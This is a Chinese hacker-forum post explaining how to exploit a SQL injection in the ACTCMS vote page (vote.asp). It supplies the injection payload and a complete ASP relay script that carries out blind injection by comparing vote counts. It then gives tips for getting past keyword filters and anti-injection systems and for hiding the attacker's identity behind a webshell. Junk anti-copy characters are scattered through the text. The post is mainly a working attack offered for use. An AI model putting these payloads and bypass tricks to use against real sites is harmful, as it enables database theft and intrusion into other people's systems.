注入中转的高级应用，actcms漏洞以及其他

admin

看到ninty大牛的blog的一篇文章
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
关于actcms漏洞的利用  by 3x qq:381862589
转载请注明以上
漏洞文件：
/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
1 R0 T/ G; I2 A; c  a9 I
3    response.end   
, U' t& T+ Y1 ~
4    end if   

5    for i=1 to request("voted").count   
; q$ x; I% A& @  b; I2 v
9 o3 I+ N$ Q# x) @9 v) `6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   

& _$ A( i7 z5 y# N7    next   

* B( R# v; j  Z0 F: G9 J5 \8....   

0 }6 ?  }  a' _' v1 Q9response.Redirect "index.asp?id="&id&""   
, \( w* f( {8 P) q( W8 f* Q' y5 f- U* c投票结束回跳转回index.asp这个投票结果页面
: s4 q. F. |7 Y. Y* J- ~$ U- Z如果投票成功票数加1
  H" ?" F$ X# S6 J) S/ A( f, q( o            失败票数不变
# g: M3 [$ p5 U$ Q! ~  `如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
  ~9 Y, Q9 p% D4 h* h3 ]3 T8 z
2009-12-27 13:20

4 g+ z9 k5 D% _4 ~1 r利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了

本帖隐藏的内容需要回复才可以浏览
我们用注入中转来实现这个注入具体代码如下：
) D2 _  e( q3 g先用寂寞的刺猬大牛的注入中转生成jmget.asp
/ I' U+ M2 \: b% V& ?注入地址：http://localhost/actcms/plus/vote/vote.asp
注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项

5 T" I& h  c2 x然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
% c% j5 F& c* a  ]
* {& X+ g0 C0 Y+ B, l02JmdcwName=request("jmdcw")
, i  y, M0 Q1 N: L9 x
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

8 X1 Y2 }( W8 g3 y, U04JmStr="id=1&voted=-1 or 1="&JmdcwName

' Q( P# r8 y* t+ }% y+ S05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"

+ Q2 F2 l& {6 n% D" Y08testurl=testurl & "?" & JmStr

8 b4 Y" I1 Q+ l0 w09JMUrl=JMUrl & "?" & JmStr
; ~9 i9 n, m$ f, J$ v+ i  B
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

% [# U, C& f7 A. e11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
0 I/ M$ v- Q! J0 \* x# Z0 S
4 Z+ X3 R6 n2 m* g# Z12JmCok=replace(JmCok,chr(32),"%20")  
; t. r: k6 v5 G. c; T& k1 I5 o
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" Y- P0 z: F7 @7 \: P6 `5 t
: y& D- d) c1 L8 }. L6 {, B+ r( ^14  

. o  _9 v6 d, o5 L* G15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
# z) A0 h1 f: L4 J) F( a1 \
16  

  S2 B' \3 ^1 `! y( T( z8 U; A4 {17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# j* `- F' Y0 N6 O/ R: O" w
18response.write test1&""&test2&""
! ~) |7 J4 D' ?( i; C! _
19  

20if test1=test2 then '如前后记录相等，表示失败

21  response.write "failed"
8 X2 W/ [  r8 m5 G& D% R1 Y* B
9 x  R' ^+ N7 G( L" J22else
0 W8 s8 H3 P; H4 b! C
8 B# p' C1 l8 ], Y& K. e# o" p23  response.write "succeed"
2 W# z* z, q- V( R# C; X
% e' s; D9 Q4 e8 T24end if  

/ m! e+ W& `$ J# d7 E% L; u25  
+ `% }8 n2 }1 P0 D0 ^
: S" |7 C/ ?6 z6 _# U26response.write "by 3x"
$ B% y# b. `5 l9 J
27  

9 P. ]8 s$ i7 R, y1 Z/ h28  

29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
  b  ?4 H: U! b* v1 Q7 e: @- m
30Dim Http

: f' Z5 ~. X* a31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
! {( ^' X+ g6 K5 g" R) O
32With Http

2 u5 X" G! o, X33  

! H& x9 }4 [2 H9 L, v% p1 N34.Open "GET",PostUrl,False

5 [4 q) {: O3 p& k7 ~$ t35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef
9 v$ v% p$ \4 O  n6 w- h
37.SetRequestHeader "Cookie",PostCok

38.Send ()
, ^! F% t; G) }* I) ~. |' G. D
+ n: t) n, \/ t( j% a: `$ j39PostData = .ResponseBody
! ~" K8 ]! P# Y) B
40End With
3 U* \% w8 M$ e
- T6 |0 f7 I+ P41Set Http = Nothing

* X8 p" F% W; j42PostData =bytes2BSTR(PostData)

  R1 Z2 g  }" Q1 `( K43End Function
+ A% V' c* f3 _7 P1 |/ N" J
6 E* x) {1 j& z! Z. Z8 k0 @% ?44  

6 S6 i1 v/ [3 e- g/ z! ?6 K45  

) I- h3 ~' m: u( |! j0 e; Y46Function bytes2BSTR(vIn)

0 a; Y) h$ N. S; m47Dim strReturn

48Dim I, ThisCharCode, NextCharCode
. {1 [% H0 E) g- E) e8 H
49strReturn = ""
5 I4 k3 q& U9 o- m4 S4 w+ e2 ?
50For I = 1 To LenB(vIn)

51ThisCharCode = AscB(MidB(vIn, I, 1))
* J9 J2 P' J9 O2 M( |
+ B& V; x: B' R! z+ k52If ThisCharCode < &H80 Then
1 T4 S0 {* P: o( E1 v
53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))
$ }! O$ h$ b. _+ V# p
' B( b8 V7 B/ k; A; J+ M56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

57I = I + 1
. @0 U' Q! D- v& ~: C0 h* B7 o
58End If

59Next
5 t4 f3 k& R2 d, a  |, t
60bytes2BSTR = strReturn
* e- W. D+ p3 \
61End Function

62  
# s" n  ]6 J( m% D
63Function URLEncoding(vstrin)  

2 E: Y) A9 G1 n64strReturn=""
+ l7 c$ x4 r3 _2 j
65Dim i
. e, `+ S& r- t- i0 p- F/ K
66For i=1 To Len(vstrin)
9 B4 Z" \4 ]  L
; r+ q+ b$ K5 B' M/ }% C67ThisChr=Mid(vstrin,i,1)
$ l* K, a9 D, y- p' [' o3 v
68if Abs(Asc(ThisChr))< &HFF Then
  y! U+ P9 ]+ D
69strReturn=strReturn & ThisChr

9 r, {( n3 j0 }' ]6 M70Else

71InnerCode=Asc(ThisChr)

  {8 ~$ ?( n; g! c72If InnerCode<0 Then
0 h/ k8 Q( }/ I3 K) I9 \
73InnerCode=InnerCode + &H10000
- H4 a' j+ b( T. h! b1 R, {
1 N% {0 _) c/ W1 P! D74End If

6 \$ G& B" m4 H; ~0 K. _75Hight1=(InnerCode And &HFF00) \&HFF

76Low1=InnerCode And &HFF

77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)

. Y& @" ?/ J5 J* e5 U& [78End if

) [1 _6 L/ p% ], @: W2 g79Next

! f9 F! h: L* ~/ N  d80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
* q5 s4 o, P, p2 N0 T- j3 m
5 y; p- ]# I" c! a: t& j6 s81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
* L" R8 z) A8 @0 N+ @
  G! S# Y5 g, l5 N' }7 E82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
; A/ b% }' l0 v6 R1 B0 B
0 Y2 _+ |! U4 U0 c+ L- Y! o83URLEncoding=strReturn

84End Function

, O( U( D: C3 b( f- X85  

86function getSt(body)

87  startpot=instr(body,"投票人数：")+len("投票人数：")
- ]( I- P! w7 r% J
88  endpot=instr(startpot,body," ")
7 B1 E  b6 [: [2 s) C
1 Q* \& o4 @4 k  D! l6 u& @! ]89  getSt=mid(body,startpot,endpot-startpot)
1 q% _  ]+ h$ T- J. U4 t
4 E3 V" [+ Q* D90end function

91%>
* c4 \) ]' B: V9 B注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
' N- b: ~4 s* {" V投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)

2009-12-27 13:29
投票失败
5 Y! A: i7 A5 E; `$ C. U% Y4 T9 \http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)

2009-12-27 13:29
1 j8 M0 U9 t' Y* }5 b& X- H4 ~( B/ ?-------------------------------------------------------------------------------
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
( {1 b4 }* Q4 k  g  s很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
1 R" b* e- }4 n+ ~1 _4 T-------------------------------------------------------------------------------

4 e3 R6 I3 T5 t% w& {4 \/ N注入中转的一些其他应用
1 U) h) X% |* L( i其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
3 U! X  r: t0 U6 Z- U* V0 Y! D2.post注入转成get型的注入，方便我们使用工具来跑
3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过